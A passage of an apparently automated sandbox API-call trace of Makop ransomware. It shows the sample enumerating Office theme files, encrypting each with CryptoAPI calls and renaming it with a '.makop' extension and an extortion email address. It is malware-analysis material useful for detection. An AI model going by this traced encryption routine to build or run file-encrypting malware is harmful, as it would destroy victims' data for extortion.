nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xf80, lpOverlapped=0x0) returned 1 [0097.024] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.024] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.024] SetEndOfFile (hFile=0x138) returned 1 [0097.030] GetProcessHeap () returned 0x48a0000 [0097.031] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.031] GetProcessHeap () returned 0x48a0000 [0097.031] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.031] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0097.031] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.032] CloseHandle (hObject=0x138) returned 1 [0097.032] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0097.032] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0097.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.035] GetProcessHeap () returned 0x48a0000 [0097.035] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.035] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.035] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.035] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x3, lpOverlapped=0x0) returned 1 [0097.040] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.040] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.040] GetProcessHeap () returned 0x48a0000 [0097.040] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.040] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.040] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.040] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.040] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.040] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.041] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.041] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.041] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.041] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.041] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.041] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.041] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x81fd, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x81fd, lpOverlapped=0x0) returned 1 [0097.043] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x8200, dwBufLen=0x8200 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x8200) returned 1 [0097.044] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.044] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x8200, lpOverlapped=0x0) returned 1 [0097.045] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.045] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x82d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.046] SetEndOfFile (hFile=0x138) returned 1 [0097.053] GetProcessHeap () returned 0x48a0000 [0097.053] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.053] GetProcessHeap () returned 0x48a0000 [0097.053] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.053] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0097.053] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.054] CloseHandle (hObject=0x138) returned 1 [0097.055] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0097.055] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0097.055] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0097.055] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO") returned 60 [0097.055] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*") returned 64 [0097.056] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0097.061] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.062] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0097.062] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned 69 [0097.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.064] GetProcessHeap () returned 0x48a0000 [0097.064] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.064] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.064] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.064] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0097.069] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.069] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.069] GetProcessHeap () returned 0x48a0000 [0097.069] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0097.069] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0097.069] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.069] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0097.069] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.069] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.069] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.070] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.070] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.070] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.070] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.070] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.070] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb0ce, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xb0ce, lpOverlapped=0x0) returned 1 [0097.073] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xb0d0, dwBufLen=0xb0d0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xb0d0) returned 1 [0097.073] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.073] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb0d0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xb0d0, lpOverlapped=0x0) returned 1 [0097.074] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.074] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xb194, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.074] SetEndOfFile (hFile=0x138) returned 1 [0097.081] GetProcessHeap () returned 0x48a0000 [0097.081] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0097.081] GetProcessHeap () returned 0x48a0000 [0097.081] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.081] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 116 [0097.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.082] CloseHandle (hObject=0x138) returned 1 [0097.082] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0097.082] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF") returned 69 [0097.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.083] GetProcessHeap () returned 0x48a0000 [0097.083] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.083] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.083] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.083] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x9, lpOverlapped=0x0) returned 1 [0097.086] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.086] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.086] GetProcessHeap () returned 0x48a0000 [0097.086] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0097.087] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0097.087] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.087] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0097.087] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.087] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.087] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.087] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.087] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.088] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.088] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.088] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.088] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f7, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1f7, lpOverlapped=0x0) returned 1 [0097.088] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x200, dwBufLen=0x200 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x200) returned 1 [0097.088] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.088] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x200, lpOverlapped=0x0) returned 1 [0097.088] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.088] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.088] SetEndOfFile (hFile=0x138) returned 1 [0097.128] GetProcessHeap () returned 0x48a0000 [0097.128] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0097.128] GetProcessHeap () returned 0x48a0000 [0097.128] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.128] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 116 [0097.128] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.134] CloseHandle (hObject=0x138) returned 1 [0097.135] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0097.135] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0097.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.136] GetProcessHeap () returned 0x48a0000 [0097.136] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.136] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.136] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.136] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x3, lpOverlapped=0x0) returned 1 [0097.157] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.157] CryptSetKeyParam (hKey=0x48c7168, 